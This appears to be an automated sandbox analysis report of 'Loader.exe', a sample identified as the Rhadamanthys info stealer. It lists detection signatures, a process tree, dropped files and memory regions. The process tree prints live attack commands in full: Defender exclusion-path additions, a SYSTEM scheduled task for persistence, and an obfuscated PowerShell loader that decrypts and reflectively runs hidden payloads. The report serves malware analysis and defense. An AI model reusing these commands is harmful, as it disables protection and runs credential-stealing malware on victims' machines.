Analysis

  • max time kernel
    146s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04/04/2024, 12:27

General

  • Target
    Loader.exe
  • Size 69.9MB
  • Sample240404-pm2ydsfb3y
  • SHA256 558be4bca2165d9e1335330cfacc0ff3c175ed21dfe17c7421b3b1bae6348a6a
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • Rhadamanthys

    Rhadamanthys is an info stealer written in C++ first seen in August 2022.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 1 IoCs
  • Program crash 2 IoCs
  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • GoLang User-Agent 3 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 46 IoCs
  • Suspicious use of WriteProcessMemory 29 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
    1⤵
      PID:2896
      • C:\Windows\SysWOW64\dialer.exe
        "C:\Windows\system32\dialer.exe"
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:3892
    • C:\Users\Admin\AppData\Local\Temp\Loader.exe
      "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:2972
      • C:\Windows\system32\cmd.exe
        cmd /C "wmic path win32_VideoController get name"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3604
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic path win32_VideoController get name
          3⤵
          • Detects videocard installed
          • Suspicious use of AdjustPrivilegeToken
          PID:3120
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Roaming\""
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3656
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath \"C:\ProgramData\""
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:716
      • C:\ProgramData\driver1.exe
        C:\ProgramData\driver1.exe
        2⤵
        • Executes dropped EXE
        PID:656
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c C:\ProgramData\driver2.cmd
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3940
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /K C:\ProgramData\driver2.cmd
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4856
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\ProgramData\driver2.cmd';$AqEi='CrsqtpesqtpatsqtpeDesqtpcrsqtpyptsqtposqtprsqtp'.Replace('sqtp', ''),'FrCJbRoCJbRmBaCJbRseCJbR64CJbRStCJbRriCJbRnCJbRgCJbR'.Replace('CJbR', ''),'InTTXMvokTTXMeTTXM'.Replace('TTXM', ''),'EnfaNStryfaNSPoifaNSnfaNStfaNS'.Replace('faNS', ''),'ChMkDfanMkDfgeMkDfExtMkDfensMkDfioMkDfnMkDf'.Replace('MkDf', ''),'LonQgGanQgGdnQgG'.Replace('nQgG', ''),'MbgpxaibgpxnMbgpxobgpxdulbgpxebgpx'.Replace('bgpx', ''),'REtcKeEtcKadLEtcKinEtcKesEtcK'.Replace('EtcK', ''),'ElzFDsemzFDsezFDsnzFDstAzFDstzFDs'.Replace('zFDs', ''),'CenWEopenWEyenWEToenWE'.Replace('enWE', ''),'GeEAEWtCuEAEWrrEAEWenEAEWtPEAEWroEAEWcEAEWeEAEWsEAEWsEAEW'.Replace('EAEW', ''),'SpOMiiliOMiitOMii'.Replace('OMii', ''),'TrNYnSanNYnSsNYnSfNYnSorNYnSmNYnSFNYnSinaNYnSlBlNYnSocNYnSkNYnS'.Replace('NYnS', ''),'DecKPNcocKPNmpcKPNrcKPNesscKPN'.Replace('cKPN', '');powershell -w hidden;function CpemN($DYVvD){$uCDxz=[System.Security.Cryptography.Aes]::Create();$uCDxz.Mode=[System.Security.Cryptography.CipherMode]::CBC;$uCDxz.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$uCDxz.Key=[System.Convert]::($AqEi[1])('hwWmx8yZnmhBXTUujLmUilT/inW7ASWUfza/yiGaTE0=');$uCDxz.IV=[System.Convert]::($AqEi[1])('1shh+Csacdi2MAxWoHL6Vw==');$WrKXJ=$uCDxz.($AqEi[0])();$lQEbS=$WrKXJ.($AqEi[12])($DYVvD,0,$DYVvD.Length);$WrKXJ.Dispose();$uCDxz.Dispose();$lQEbS;}function Vaeom($DYVvD){$ufaBC=New-Object System.IO.MemoryStream(,$DYVvD);$fvcwX=New-Object System.IO.MemoryStream;$KxhFO=New-Object System.IO.Compression.GZipStream($ufaBC,[IO.Compression.CompressionMode]::($AqEi[13]));$KxhFO.($AqEi[9])($fvcwX);$KxhFO.Dispose();$ufaBC.Dispose();$fvcwX.Dispose();$fvcwX.ToArray();}$oYEdq=[System.IO.File]::($AqEi[7])([Console]::Title);$sExPv=Vaeom (CpemN ([Convert]::($AqEi[1])([System.Linq.Enumerable]::($AqEi[8])($oYEdq, 5).Substring(2))));$uYvCe=Vaeom (CpemN ([Convert]::($AqEi[1])([System.Linq.Enumerable]::($AqEi[8])($oYEdq, 6).Substring(2))));[System.Reflection.Assembly]::($AqEi[5])([byte[]]$uYvCe).($AqEi[3]).($AqEi[2])($null,$null);[System.Reflection.Assembly]::($AqEi[5])([byte[]]$sExPv).($AqEi[3]).($AqEi[2])($null,$null); "
            4⤵
              PID:1236
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              4⤵
              • Suspicious use of NtCreateUserProcessOtherParentProcess
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:964
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
                5⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:1508
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 964 -s 2432
                5⤵
                • Program crash
                PID:4060
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 964 -s 2376
                5⤵
                • Program crash
                PID:3332
        • C:\Windows\system32\schtasks.exe
          schtasks /create /tn WinDriver /tr C:\ProgramData\Microsoft\WinDriver.cmd /sc onstart /ru SYSTEM
          2⤵
          • Creates scheduled task(s)
          PID:4348
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 964 -ip 964
        1⤵
          PID:2640
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 964 -ip 964
          1⤵
            PID:3620

          Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

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                Downloads

                driver1.exe

                • Path C:\ProgramData\driver1.exe
                • Size 3.6MB
                • SHA256 31d452a1ae5637cd3127e7a2e4e8de9771ea1d4e2fa34cddfdd9f90b73d098a5
                • MD5 SHA1 SHA512 SSDEEP

                driver2.cmd

                • Path C:\ProgramData\driver2.cmd
                • Size 7.2MB
                • SHA256 2d68dffce5555c659fb1de2b4d1e28597667ddefd6c99844ee5a346adcf0d036
                • MD5 SHA1 SHA512 SSDEEP

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 2KB
                • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45
                • MD5 SHA1 SHA512

                __PSScriptPolicyTest_i0tidxdv.hwq.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_i0tidxdv.hwq.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512

                memory/716-34-0x00007FFADE9A0000-0x00007FFADF461000-memory.dmp

                memory/716-32-0x000002541B420000-0x000002541B430000-memory.dmp

                memory/716-31-0x000002541B420000-0x000002541B430000-memory.dmp

                memory/716-18-0x00007FFADE9A0000-0x00007FFADF461000-memory.dmp

                memory/716-19-0x000002541B420000-0x000002541B430000-memory.dmp

                memory/716-20-0x000002541B420000-0x000002541B430000-memory.dmp

                memory/964-64-0x0000000008200000-0x000000000887A000-memory.dmp

                memory/964-99-0x000000000A980000-0x000000000AD80000-memory.dmp

                memory/964-113-0x000000000A980000-0x000000000AD80000-memory.dmp

                memory/964-112-0x0000000074F10000-0x00000000756C0000-memory.dmp

                memory/964-107-0x00000000054D0000-0x00000000054E0000-memory.dmp

                memory/964-101-0x0000000075A90000-0x0000000075CA5000-memory.dmp

                memory/964-42-0x0000000074F10000-0x00000000756C0000-memory.dmp

                memory/964-43-0x00000000054D0000-0x00000000054E0000-memory.dmp

                memory/964-44-0x0000000005320000-0x0000000005356000-memory.dmp

                memory/964-45-0x0000000005B10000-0x0000000006138000-memory.dmp

                memory/964-46-0x0000000005A10000-0x0000000005A32000-memory.dmp

                memory/964-47-0x0000000006140000-0x00000000061A6000-memory.dmp

                memory/964-48-0x00000000061B0000-0x0000000006216000-memory.dmp

                memory/964-58-0x00000000062C0000-0x0000000006614000-memory.dmp

                memory/964-59-0x0000000006810000-0x000000000682E000-memory.dmp

                memory/964-60-0x00000000068B0000-0x00000000068FC000-memory.dmp

                memory/964-61-0x0000000006D90000-0x0000000006DD4000-memory.dmp

                memory/964-62-0x00000000054D0000-0x00000000054E0000-memory.dmp

                memory/964-63-0x0000000007B00000-0x0000000007B76000-memory.dmp

                memory/964-98-0x00007FFAFD350000-0x00007FFAFD545000-memory.dmp

                memory/964-65-0x0000000007BA0000-0x0000000007BBA000-memory.dmp

                memory/964-96-0x000000000A980000-0x000000000AD80000-memory.dmp

                memory/964-97-0x000000000A980000-0x000000000AD80000-memory.dmp

                memory/964-95-0x00000000054D0000-0x00000000054E0000-memory.dmp

                memory/964-94-0x0000000000400000-0x000000000046D000-memory.dmp

                memory/964-93-0x000000000A980000-0x000000000AD80000-memory.dmp

                memory/964-82-0x0000000002E60000-0x0000000002E68000-memory.dmp

                memory/964-84-0x0000000077931000-0x0000000077A51000-memory.dmp

                memory/964-85-0x0000000007FA0000-0x0000000007FE6000-memory.dmp

                memory/964-86-0x0000000005660000-0x000000000566C000-memory.dmp

                memory/964-87-0x0000000000400000-0x000000000046D000-memory.dmp

                memory/964-92-0x0000000074F10000-0x00000000756C0000-memory.dmp

                memory/1508-78-0x0000000005570000-0x0000000005580000-memory.dmp

                memory/1508-68-0x0000000005570000-0x0000000005580000-memory.dmp

                memory/1508-67-0x0000000005570000-0x0000000005580000-memory.dmp

                memory/1508-66-0x0000000074F10000-0x00000000756C0000-memory.dmp

                memory/1508-81-0x0000000074F10000-0x00000000756C0000-memory.dmp

                memory/3656-11-0x00000281EA890000-0x00000281EA8A0000-memory.dmp

                memory/3656-16-0x00007FFADE7B0000-0x00007FFADF271000-memory.dmp

                memory/3656-9-0x00000281ECA10000-0x00000281ECA32000-memory.dmp

                memory/3656-10-0x00007FFADE7B0000-0x00007FFADF271000-memory.dmp

                memory/3656-13-0x00000281EA890000-0x00000281EA8A0000-memory.dmp

                memory/3656-12-0x00000281EA890000-0x00000281EA8A0000-memory.dmp

                memory/3892-102-0x0000000000A00000-0x0000000000A09000-memory.dmp

                memory/3892-106-0x00007FFAFD350000-0x00007FFAFD545000-memory.dmp

                memory/3892-110-0x0000000002520000-0x0000000002920000-memory.dmp

                memory/3892-109-0x0000000075A90000-0x0000000075CA5000-memory.dmp

                memory/3892-111-0x0000000002520000-0x0000000002920000-memory.dmp

                memory/3892-104-0x0000000002520000-0x0000000002920000-memory.dmp

                memory/3892-105-0x0000000002520000-0x0000000002920000-memory.dmp